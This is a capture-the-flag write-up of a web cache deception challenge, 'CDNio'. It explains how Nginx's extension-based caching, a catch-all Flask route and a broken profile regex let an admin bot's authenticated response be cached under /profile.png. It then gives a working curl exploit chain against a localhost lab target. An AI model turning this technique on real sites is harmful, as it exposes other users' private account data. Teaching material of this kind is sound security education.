Skip to content

Back

CDNio

Heads-up

Web Cache Deception

Findings

conf/nginx.conf:

location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
    proxy_cache cache;
    proxy_cache_valid 200 3m;
    proxy_cache_use_stale error timeout updating;
    expires 3m;
    add_header Cache-Control "public";

    proxy_pass http://unix:/tmp/gunicorn.sock;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
}

challenge/app/blueprints/main/routes.py:

if re.match(r'.*^profile', subpath): # Django perfection

Notes

Nginx regex location

location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {

What the dot means:

  • \. = literal dot
  • It matches file extensions: .js, .png, etc.
  • Without the dot, profilejs would also match, which is not intended.

This is a static-asset optimization rule:

  • Regex location (~*) → case-insensitive regex
  • Matches files that look static
  • Enables:
    • proxy_cache
    • expires
    • Cache-Control: public

Key idea: Nginx decides cacheability purely on the URL shape, not the backend logic. - that’s the first crack in the wall.

Why we can path .ext@main_bp.route('/<path:subpath>')?

Flask side (simplified):

@main_bp.route('/<path:subpath>', methods=['GET'])
def index(subpath): ...

Important detail:

  • <path:subpath> matches anything, including:
    • profile
    • profile.js
    • profile.png
    • foo/bar/baz.css

Flask does not care about extensions. Nginx does.

So:

URL Flask Nginx
/profile dynamic not cached
/profile.js dynamic cached
/profile.png dynamic cached

This mismatch is intentional in the challenge.

That cursed regex

if re.match(r'.*^profile', subpath): # Django perfection

Why it’s wrong:

  • re.match() already anchors at the start
  • ^ inside .*^profile is meaningless
  • .* before ^ makes zero logical sense

Effectively, this does not enforce what the developer thinks.

They checking: "does the path start with profile?" not.

Result:

  • profile
  • profile.js
  • profile.png

All pass and lets dynamic profile content be served under static-looking paths.

The attack chain

Your sequence:

curl -X POST /register
curl -X POST /           # login → token
curl -X POST /visit      # bot fetches profile.png
curl -X GET /profile.png # cached response

What actually happens when visit

  1. /visit makes the admin bot request: GET /profile.png Authorization: Bearer <ADMIN_JWT>
  2. Nginx sees:
    • .png extension
    • 200 response
    • cacheable rule
  3. Nginx stores the response in: /var/cache/nginx
  4. Cache key does NOT include Authorization header by default
  5. You later request to: GET /profile.png
  6. Nginx serves the cached admin response to you

Authorization is stripped by cache design

Why /visit is the enabled

/visit is a trusted fetcher:

  • Uses a privileged JWT
  • Makes internal requests
  • Has no cache awareness

Deep dive into nginx.conf

Process model
user nobody;
worker_processes 1;
pid /run/nginx.pid;
  • nobody: least-privilege user
  • worker_processes 1: single worker (CTF simplicity)
  • pid: process management
Events
worker_connections 768;
  • Max concurrent connections per worker.
HTTP block (important!)
server_tokens off;
  • hides nginx version (cosmetic)
include /etc/nginx/mime.types;
default_type application/octet-stream;
  • MIME handling (cosmetic)
Cache definition (critical)
proxy_cache_path /var/cache/nginx
    keys_zone=cache:10m
    max_size=1g
    inactive=60m;
  • Cache lives on disk
  • Shared memory zone cache
  • Cached responses persist for up to 60 minutes idle
  • Plenty of space
Cache usage
proxy_cache cache;
proxy_cache_valid 200 3m;
  • Cache any 200 OK
  • For 3 minutes
  • No Vary: Authorization
  • No proxy_no_cache $http_authorization

That omission is fatal.

Headers passed
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

But not:

proxy_cache_key $http_authorization;

So:

  • Authenticated content is cached
  • Auth context is lost

CDNio teaches

Important

  • CDNs don’t know your app logic
  • Extensions ≠ static
  • Regex ≠ security
  • JWTs can be perfectly fine and still useless
  • Caching + SSRF = privilege inversion

No crypto break. No JWT forgery. Just layer confusion.

  • Or map it to real-world CDN bugs (Cloudflare/Akamai class)

Exploit

Tip

cdnio.nim / cdnio.py

Create and Authenticate a User
curl -X POST "http://localhost:1337/register" \
     -H "Content-Type: application/json" \
     -d '{ "username": "idapp", "password": "1234qwer", "email": "id@app.com" }'

token=$(curl -X POST "http://localhost:1337/" \
     -H "Content-Type: application/json" \
     -d '{ "username": "idapp", "password": "1234qwer" }' | jq -r '.token') && echo $token
Poison the Cache by triggerin the admin bot to visit a cacheable path
curl -X POST "http://localhost:1337/visit" \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer $token" \
     -d '{ "uri": "profile.png" }'

internally:

  • Admin bot requests /profile.png
  • Flask serves admin profile data
  • Nginx caches the response due to .png extension
  • Authorization context is discarded
Retrieve Cached Admin Content
curl -X GET 'http://localhost:1337/profile.png'

Gotcha

CDNio abuses a mismatch between Nginx’s extension-based caching and Flask’s path-based routing, allowing an admin SSRF to cache authenticated dynamic content under a static file extension and leak it to unauthenticated users.

Below is a curated list of real-world CDN / cache vulnerabilities, mostly from bug bounty reports, that closely mirror the concepts used in CDNio. I’m keeping this links + short descriptions only, as requested.


Real-world Reports

Web Cache Deception / Cache Poisoning

SSRF + CDN / Bot Interaction

Cache Key Misconfiguration

Modern CDN Edge Logic Bugs